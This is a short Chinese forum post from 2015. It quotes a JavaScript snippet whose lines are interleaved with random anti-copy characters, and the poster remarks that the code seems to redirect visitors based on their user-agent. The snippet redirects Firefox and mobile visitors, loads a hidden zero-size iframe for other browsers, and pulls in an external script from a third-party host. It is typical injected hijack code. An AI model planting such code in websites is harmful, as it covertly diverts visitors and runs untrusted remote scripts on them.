|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
w! d/ C4 i0 e' ~8 z* u- var ua = navigator.userAgent.toLowerCase(),
3 C' {) l7 }! b - browser = {! E3 S3 o/ V! X+ o& c
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],# s9 r2 n( R% }% c5 [( B
- opera: /opera/.test(ua),
8 _8 J2 M" K8 F, } a' \ - maxthon: /maxthon/.test(ua),
) u9 j% m8 U( s) H) @* _ - theworld: /theworld/.test(ua),
6 J. D3 |# M$ g8 a1 v1 c - qq: /qqbrowser/.test(ua),
. u0 z6 U# P, }) l: d' ? - sogou: /se /.test(ua),
4 H6 y b' D8 w0 E+ J- O/ I: n2 c - liebao: /liebao/.test(ua),
' c, N3 t' R) w - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),; \- z9 [; \; b6 j
- chrome: /chrome|crios/.test(ua),
" O% ?: O6 ?. [( P - safari: /webkit/.test(ua),
+ h, Z0 N; y$ I7 G - uc: /ucbrowser/.test(ua),
& o S$ l. `/ D$ J# P - ie: /msie/.test(ua) && !/opera/.test(ua)
, o: S# L6 U: a- d3 J2 } - };; L! f: D' T0 v8 j( _
- var ver = browser.ver;
. |! L# }, t1 O - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
. W: x& t+ {( P9 K4 K# R - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");8 b) M& S7 D k: m+ Y
- } else {! p' `/ j' G1 p3 H- e
- window.sc = "<iframe src=" + tourl + "></iframe>";
6 ? C0 { I; l8 V) } - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
; y& u- d; e0 t3 ^+ y - }" y: Z; _0 V5 \0 i2 N% T
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 . F9 ^& T; H; Y% f
4 U8 ]4 _: V/ j2 w6 |8 p好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|